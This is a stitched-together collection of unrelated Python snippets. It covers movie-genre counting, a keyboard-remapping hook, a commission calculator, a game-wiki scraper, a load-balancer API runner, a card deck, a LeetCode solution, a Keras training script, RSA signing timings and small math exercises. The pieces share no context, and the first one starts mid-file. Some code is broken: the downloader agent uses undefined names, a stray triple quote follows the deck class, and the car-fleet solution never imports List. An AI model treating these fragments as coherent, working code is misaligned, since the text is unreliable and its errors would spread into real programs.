    generos.append(c)

# Misión 3: "Consultas sobre los datos". Se intenta responder las consultas pedidas:

# Consulta 1:

# In[54]:

### metodo para encontrar los 5 generos mas populares

generos = []
contador_rep = 0
for j in movies:
    generos += j['genres']

#print(generos)

aux = []
bla = {}
for i in generos:
    if i not in aux:
        a = generos.count(i)
        bla[i] = a
#print(bla)
## bla es el diccionario que contiene los generos como llaves y la cantidad de peliculas que pertenecen a ese genero como valores

bla2 = {}
j = 1
b = sorted(bla.values())
mayor = max(bla.values())

for rep in bla:
    if bla[rep] == mayor and j <= 5:
        bla2[rep] = mayor
        j += 1
    elif bla[rep] == mayor-1 and j <= 5:
        bla2[rep] = mayor-1
        j += 1
    elif bla[rep] == mayor-2 and j <=5:
        bla2[rep] = mayor-2
        j += 1

#print(bla2)
### bla2 es un diccionario que contiene los 5 generos mas populares como llaves y su cantidad de repeticiones como valores

# Consulta 2:

# In[56]:

#posible metodo para obtener los tres anos que mas peliculas se hacen

anos = []
contador_rep = 0
for j in movies:
    anos.append(j['year'])

aux = []
bla = {}
for i in anos:
    if i not in aux:
        a = anos.count(i)
        bla[i] = a

#print(bla)
#bla es el diccionario que contiene los anos como llaves y la cantidad de peliculas realizadas por ano como valores

mayor = max(bla.values())

bla2 = {}
i = 1
b = sorted(bla.values())

for rep in bla:
    if bla[rep] == b[len(b)-1] and i <= 3:
        bla2[rep] = b[len(b)-1]
        i += 1
for rep in bla:
    if bla[rep] == b[len(b)-2] and i <= 3:
        bla2[rep] = b[len(b)-2]
        i += 1
for rep in bla:
    if bla[rep] == b[len(b)-3] and i <= 3:
        bla2[rep] = b[len(b)-3]
        i += 1

#print(bla2)
#bla2 = diccionario que contiene los tres años con mas ocurrencias

# El resto de las consultas preferí no incluirlas en el código, pues tenían algunos errores importantes.

# In[ ]:

# In[ ]:


#-*- coding: UTF-8 -*-
from pynput import keyboard

from utils.keycodeutil import KeyCodeUtil
from threading import Thread
from queue import Queue

class KeyboardInterceptor(Thread):
    MSG_PRESS = 256
    MSG_PRESS_WITH_ALT = 260
    MSG_RELEASE_WITH_ALT = 261
    MSG_RELEASE = 257
    VK_BACKSLASH = 220
    # 所有有效键位
    keySet = {'a','h','j','k','l','i','o','y','p','1','2','3','4','5','6','7','8','9','0','d','e','w','r','f','c','v','shift_l','shift_r','alt','f1'}
    # 持续生效按键
    continuousSet = {'h','j','k','l','1','2','3','4','5','r','f','space','shift_l','shift_r'}
    # 按下触发键位
    pressTriggerSet = {'a','v','y','c','p','u','6','7','8','9','0'}
    # 首尾触发键位
    headTailTriggerSet = {'i','o','e','w','d'}
    #透传按键
    ignoreKeySet = {keyboard.Key.alt_l,keyboard.Key.ctrl_l,keyboard.Key.ctrl_r,keyboard.Key.enter,keyboard.Key.tab,keyboard.Key.backspace,keyboard.Key.home,keyboard.Key.end,keyboard.Key.insert,keyboard.Key.up,keyboard.Key.down,keyboard.Key.left,keyboard.Key.right}
    ignoreVKSet = None
    switchKeyMap = {'v':False}
    checkedSize = 0
    pressSet = set()
    actionQueue = None
    listener = None
    enable = False
    justEnable = False
    altLPressed = False
    ctrlPressed = False

    def __init__(self,  actionQueue: Queue):
        Thread.__init__(self)
        self.actionQueue = actionQueue
        self.ignoreVKSet = KeyCodeUtil.keys2Vks(self.ignoreKeySet)

    def run(self):
        with keyboard.Listener(win32_event_filter=self.filter, suppress=False) as self.listener:
            print('interceptor start')
            self.listener.join()

    def stop(self):
        self.actionQueue.put('_EXIT_')
        self.listener.stop()

    def filter(self,msg,data):
        # print('filter enable: %s, msg: %s, vkCode: %s, scanCode: %s, flags: %s, time: %s, dwExtraInfo: %s' % (self.enable, msg, data.vkCode, data.scanCode, data.flags, data.time, data.dwExtraInfo))
        if data.vkCode == KeyCodeUtil.key2Vk(keyboard.Key.alt_l) and msg == self.MSG_PRESS_WITH_ALT:
            self.altLPressed = True
        if data.vkCode == KeyCodeUtil.key2Vk(keyboard.Key.alt_l) and msg == self.MSG_RELEASE:
            self.altLPressed = False
        if data.vkCode == self.VK_BACKSLASH and msg == self.MSG_RELEASE_WITH_ALT and self.altLPressed == True:
            self.enable = not self.enable
            if self.enable:
                self.justEnable = True
            if self.controller != None:
               self.controller.updateUIStatus()
            #     self.listener.suppress_event()
        if data.vkCode == KeyCodeUtil.key2Vk(keyboard.Key.tab) and (msg == self.MSG_PRESS_WITH_ALT or msg == self.MSG_RELEASE_WITH_ALT) and self.altLPressed == True:
            return
        if not self.enable:
            return
        if self.justEnable and data.vkCode == KeyCodeUtil.key2Vk(keyboard.Key.alt_l) and msg == self.MSG_RELEASE:
            self.justEnable = False
            return

        if data.vkCode == KeyCodeUtil.key2Vk(keyboard.Key.ctrl_l) and msg == self.MSG_PRESS:
            self.ctrlPressed = True
        if data.vkCode == KeyCodeUtil.key2Vk(keyboard.Key.ctrl_l) and msg == self.MSG_RELEASE:
            self.ctrlPressed = False
        if self.ctrlPressed:
            return
        if (data.vkCode != KeyCodeUtil.key2Vk(keyboard.Key.ctrl_l) and data.vkCode not in self.ignoreVKSet and (msg == self.MSG_PRESS or msg == self.MSG_PRESS_WITH_ALT)):
            # print('vk2Char: %s -> %s' % (data.vkCode, KeyCodeUtil.vk2Char(data.vkCode)))
            self.on_press(KeyCodeUtil.vk2Char(data.vkCode))
            self.listener.suppress_event()
        elif (data.vkCode != KeyCodeUtil.key2Vk(keyboard.Key.ctrl_l) and data.vkCode not in self.ignoreVKSet and (msg == self.MSG_RELEASE or msg == self.MSG_RELEASE_WITH_ALT)):
            # print('vk2Char: %s -> %s' % (data.vkCode, KeyCodeUtil.vk2Char(data.vkCode)))
            self.on_release(KeyCodeUtil.vk2Char(data.vkCode))
            self.listener.suppress_event()

    def on_press(self, key):
        if key in self.continuousSet or key in self.headTailTriggerSet:
            self.actionQueue.put('_P_'+key)
        elif key in self.pressTriggerSet:
            if key not in self.switchKeyMap:
                self.actionQueue.put('_P_'+key)
            else:
                self.switchKeyMap[key] = not self.switchKeyMap[key]
                switchKey = '_O_' + key if self.switchKeyMap[key] else '_C_' + key
                self.actionQueue.put(switchKey)

    def on_release(self,key):
        if key in self.continuousSet or key in self.headTailTriggerSet:
            self.actionQueue.put('_R_'+key)
            self.pressSet.discard(key)


  #

from random import randint

def create_lista_input(t, lista_input):
  c = 0
  while c < t:
    salario = randint(500,2000)
    total_vendas = randint(2000,15000)
    c += 1
    lista_input.append([salario,total_vendas])

lista_input = []
create_lista_input(5,lista_input)
print(lista_input)

def vendedor(lista_input, dict_vendedor):
  id = 0
  for i in lista_input:
    id += 1
    name = "Vendedor {}".format(id)
    dict_vendedor[name] = i
dict_vendedor = {}
vendedor(lista_input,dict_vendedor)
print(dict_vendedor)

def comissao(vendas):
  if vendas <= 10000:
    com = 0.03
  else:
    com = 0.05
  return com

for i in dict_vendedor.items():
  print(
    """
    {}
    Salario base: {} BRL
    Vendas: {} BRL
    Comissao: {:.1f} %
    Salario total: {:.2f} BRL
    """.format(
      i[0],
      i[1][0],
      i[1][1],
      comissao(i[1][1]) * 100,
      i[1][0] + (i[1][1] * comissao(i[1][1]))
    ))

Algoritmos e Programacao (Afonso Inacio Orth)/P51/22.py


from typing import List, Dict

from pydantic import ValidationError

from func.client import client, retry
from func.data import all_avatars, all_avatars_map, all_avatars_name, dump_avatars
from models.avatar import YattaAvatar
from models.wiki import Content, Children
from res_func.url import avatar_yatta_url

def fix_avatar_eidolons(values: Dict) -> Dict:
    if values.get("eidolons") is None:
        values["eidolons"] = []
    else:
        eidolons = []
        for eidolon in values["eidolons"].values():
            eidolons.append(eidolon)
        values["eidolons"] = eidolons
    return values

@retry
async def get_single_avatar(url: str) -> None:
    req = await client.get(url)
    try:
        avatar = YattaAvatar(**fix_avatar_eidolons(req.json()["data"]))
    except Exception as e:
        print(f"{url} 获取角色数据失败")
        raise e
    all_avatars.append(avatar)
    all_avatars_map[avatar.id] = avatar
    all_avatars_name[avatar.name] = avatar

@retry
async def get_all_avatar() -> List[str]:
    req = await client.get(avatar_yatta_url)
    return list(req.json()["data"]["items"].keys())

async def fix_avatar_icon(content: Content):
    avatar = all_avatars_name.get(content.title.replace("·", "•"))
    if not avatar:
        return
    avatar.icon = content.icon

async def fetch_avatars(child: Children):
    print("获取角色数据")
    avatars = await get_all_avatar()
    for avatar_id in avatars:
        try:
            await get_single_avatar(f"{avatar_yatta_url}/{avatar_id}")
        except ValidationError:
            print(f"{avatar_yatta_url}/{avatar_id} 获取角色数据失败，角色格式异常")
    print("修复角色图标")
    for content in child.list:
        await fix_avatar_icon(content)
    for avatar in all_avatars:
        if not avatar.icon.startswith("http"):
            avatar.icon = ""
    print("获取角色数据完成")
    await dump_avatars()


import acos_client as acos

from acoslib.action import BaseAction

class AXActionRunner(BaseAction):
    def run(self, api_version, action, object_path, **kwargs):
        client = self.login(api_version)
        if client:
            try:
                # transforms user parameters as needed
                kwargs = self._transform_params(client, object_path, action, **kwargs)

                _target_obj = self.get_object(client, object_path)

                return (True, getattr(_target_obj, action)(**kwargs))
            except acos.errors.AuthenticationFailure:
                return (False, 'An authentication error is occurr')
            except acos.errors.NotFound as e:
                return (False, e)
            except AttributeError:
                return (False, 'The acos_client has no interfaces for %s' % (object_path))
        else:
            return (False, 'Failed to initilaize Client object of acos_client')

    def _transform_params(self, client, object_path, action, **kwargs):
        if object_path == 'slb.service_group.member' and action == 'create':
            # transforms status parameter from boolean to the internal constant of acos-client
            if kwargs['status']:
                kwargs['status'] = client.slb.UP
            else:
                kwargs['status'] = client.slb.DOWN

        return kwargs


#code for the deck of cards

from random import randint

class Deck():
	def __init__(self):
		self.deck = []
		self.amountOfCardsLeft = 52
		#add cards to deck
		for i in range(13):
			if(i+1 >= 10 ):
				self.deck.append(10)
			else:
				self.deck.append(i+1)
		for i in range(13):
			if(i+1 >= 10 ):
				self.deck.append(10)
			else:
				self.deck.append(i+1)
		for i in range(13):
			if(i+1 >= 10 ):
				self.deck.append(10)
			else:
				self.deck.append(i+1)
		for i in range(13):
			if(i+1 >= 10 ):
				self.deck.append(10)
			else:
				self.deck.append(i+1)
		#shuffle deck
		for i in range(1000):
			randomRon = randint(0,51)
			randomRandy = randint(0,51)
			temp = self.deck[randomRon]
			self.deck[randomRon] = self.deck[randomRandy]
			self.deck[randomRandy] = temp

	def flipCard(self):
		randomCard = self.deck.pop() #pick a card from the back of the deck
		self.amountOfCardsLeft = self.amountOfCardsLeft - 1
		return randomCard

	def resetDeck(self):
		self.deck = Deck().deck
		self.amountOfCardsLeft = 52

	def printDeck(self):
		for i in range(len(self.deck)):
			print ("Position: " ,i," number:",self.deck[i])

# deck = Deck()
# card = deck.flipCard()
# print (card)
# deck.printDeck()
#deck.resetDeck()
#deck.printDeck()"""


class Solution:
    def carFleet(self, target: int, position: List[int], speed: List[int]) -> int:
        cars = sorted(zip(position,speed), reverse=True)
        fleets = 0
        prev_time = -1

        for pos, spd in cars:
            time_to_target = (target - pos) / spd

            if time_to_target > prev_time:
                fleets += 1
                prev_time = time_to_target

        return fleets


import argparse
import os
import shutil
from collections import OrderedDict

import numpy as np
import yaml
from sklearn.model_selection import KFold
from tensorflow import keras

from data_utils import data_utils
from models import model_embed

def represent_odict(dumper, instance):
    return dumper.represent_mapping('tag:yaml.org,2002:map', instance.items())

yaml.add_representer(OrderedDict, represent_odict)

def main(args):
    # コンフィグとデータのロード
    with open(args.config, "r+") as f:
        configs = yaml.load(f)

    if args.test:
        pd_data = data_utils.load_csv_test(configs['input_file'], configs['delimiter'])
    else:
        pd_data = data_utils.load_csv(configs['input_file'], configs['delimiter'])

    # 前処理
    pd_data, input_max_nums, label_encoder_config = \
        data_utils.preprocessing_train_data(pd_data, configs)

    threshold = pd_data.shape[0] // 10 * 9
    train = pd_data[:threshold]
    test = pd_data[threshold:]
    del pd_data

    target_column = configs['target_column']['name']

    columns_be_used = train.columns.tolist()
    columns_be_used.remove(target_column)
    X = train[columns_be_used].astype(int).values
    X_t = test[columns_be_used].astype(int).values
    y = train[target_column].astype(float).values
    y_t = test[target_column].astype(float).values
    del train
    # del test

    seed = 1
    np.random.seed(1)
    skf = KFold(n_splits=5, shuffle=True, random_state=seed)
    for train_index, test_index in skf.split(X, y):
        X_train, X_test = X[train_index], X[test_index]
        y_train, y_test = y[train_index], y[test_index]
        break

    X_train = [X_train[:, i] for i in range(X.shape[1])]
    X_test = [X_test[:, i] for i in range(X.shape[1])]
    del X

    # 予測時に利用するConfigを保存する
    output_d = "/".join(args.config.split("/")[:-1]) + "/" + configs['output_dir_name']

    if os.path.exists(output_d):
        shutil.rmtree(output_d)
    os.mkdir(output_d)

    with open(output_d + "/label_encoder_config.yml", "w", encoding='utf-8') as f:
        yaml.dump(label_encoder_config, f, encoding='utf-8', allow_unicode=True, default_flow_style=False,
                  sort_keys=False)

    with open(output_d + "/conf.yml", "w", encoding='utf-8') as f:
        yaml.dump(configs, f, encoding='utf-8', allow_unicode=True, default_flow_style=False, sort_keys=False)

    # モデル作成
    batch_size = configs["batch_size"]
    epochs = configs["epochs"]

    output_df = output_d + '/snapshots'
    if os.path.exists(output_df):
        shutil.rmtree(output_df)
    os.mkdir(output_df)
    model_f = os.path.join(output_df, 'ss_epoch{epoch:02d}-loss{loss:.3f}-val_loss{val_loss:.3f}.hdf5')
    cb = keras.callbacks.ModelCheckpoint(filepath=model_f, monitor='val_loss', verbose=1, save_best_only=True,
                                         mode='min', period=2)

    model = model_embed.build_model(input_max_nums, configs["dim_embed"], configs["dim_hidden"])

    yaml_string = model.to_yaml()
    open(os.path.join(output_d, 'model.yaml'), 'w').write(yaml_string)

    # 学習
    model.fit(
        X_train,
        y_train,
        batch_size=batch_size,
        epochs=epochs,
        verbose=1,
        shuffle=True,
        validation_data=[X_test, y_test],
        callbacks=[cb]
    )
    print('saving weights')
    model.save_weights(os.path.join(output_d, 'model_weights.hdf5'))

    X_t_reshaped = [X_t[:, i] for i in range(X_t.shape[1])]
    outcome = model.predict(X_t_reshaped, batch_size=8192)

    data_utils.save_pred_data(test, target_column, outcome, output_d, "train_results")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-c', '--config', required=True)
    parser.add_argument('--test', action='store_true')
    args = parser.parse_args()

    main(args)


from sympy import *
from timeit import default_timer
from transaction import *

class rsa_key:
    def __init__(self, bits_modulo=2048, e=2 ** 16 + 1):
        """
        genera una clau RSA (de 2048 bits i amb exponent p´ublic 2**16+1 per defecte)
        """
        self.publicExponent = e
        self.primeP = randprime(2 ** (bits_modulo-1) + 1, 2 ** bits_modulo - 1)
        self.primeQ = randprime(2 ** (bits_modulo-1) + 1, 2 ** bits_modulo - 1)
        self.modulus = self.primeP * self.primeQ

        self.privateExponent = mod_inverse(self.publicExponent, (self.primeP-1) * (self.primeQ-1))

        self.privateExponentModulusPhiP = self.privateExponent % (self.primeP - 1)
        self.privateExponentModulusPhiQ = self.privateExponent % (self.primeQ - 1)
        self.inverseQModulusP = mod_inverse(self.primeQ, self.primeP)

    def sign(self, message):
        """
        retorma un enter que ´es la signatura de "message" feta amb la clau RSA fent servir el TXR
        """
        a = pow(message, self.privateExponentModulusPhiP, self.primeP)
        b = pow(message, self.privateExponentModulusPhiQ, self.primeQ)

        inversePModulusQ = mod_inverse(self.primeP, self.primeQ)

        res = (a * self.primeQ * self.inverseQModulusP + b * self.primeP * inversePModulusQ) % self.modulus
        return res

    def sign_slow(self, message):
        """
        retorma un enter que ´es la signatura de "message" feta amb la clau RSA sense fer servir el TXR
        """
        return pow(message, self.privateExponent, self.modulus)

if __name__ == "__main__":
    bits_testing = [512, 1024, 2048, 4096]
    messages = [i for i in range(100)] # Missatges de 0 fins a 99

    for bits in bits_testing:
        print(f"TESTING {bits} bits:\n")

        rsa = rsa_key(bits_modulo=bits)

        """TAULA COMPARATIVA ENTRE LA FIRMA LENTA I LA FIRMA RÀPIDA(TXR)"""
        iniTime = default_timer()
        for message in messages:
            rsa.sign(message)
        finTime = default_timer()
        print(f"Temps FIRMA RÀPIDA(TXR) de {bits} bits: {finTime - iniTime}")

        iniTime = default_timer()
        for message in messages:
            rsa.sign_slow(message)
        finTime = default_timer()
        print(f"Temps FIRMA LENTA de {bits} bits: {finTime - iniTime}\n\n")


s = [1,2,3,4]

def powerset(array):
    subsets = [[]]
    for i in array:
        for j in range(len(subsets)):
            currentSubset = subsets[j]
            subsets.append(currentSubset + [i])
    return subsets

print(powerset(s))


#!coding:utf8

from Araneae.utils.livetracker import LiveObject

class DownloaderAgent(LiveObject):
    """downloader代理，用来管理各种下载器,每种下载器中必须指定它能够处理的协议和类型"""

    def __init__(self, downloaders, logger):
        self._downloaders = downloaders
        self.logger = logger

    @classmethod
    def from_spider(self, spider):
        settings = spider.settings
        logger = spider.logger
        downloader_list = settings['DOWNLOADER_LIST']
        downloaders = []

        for clspath in downloader_list:
            dwcls = load_object(dwcls)

            if hasattr(dwcls, 'from_spider'):
                dw = dwcls.from_spider(spider)
            elif hasattr(mwcls, 'from_setting'):
                dw = dwcls.from_setting(settings)
            else:
                dw = dwcls()

            downloaders.append(dw)

        return cls(downloaders, logger)

    def _choose_downloader(self,request):
        for dw in self.downloaders:
            if request.scheme in dw.schemes:
                return dw
        else:
            self.logger.warn('Cant find matched downloader,request is {request}'.format(request=request))

    def send(self,request):
        downloader = self._choose_downloader(request)
        downloader and hasattr(downloader, 'send') and downloader.send(request)


import sys
input = sys.stdin.readline

def factorial(n):
    val = 1
    for i in range(1, n+1):
        val *= i
    return val

def solution(n,r):
    return int(factorial(n) / factorial(r) / factorial(n-r))

if __name__ == '__main__':
    n, c= map(int, input().strip().split())
    print(solution(n,c))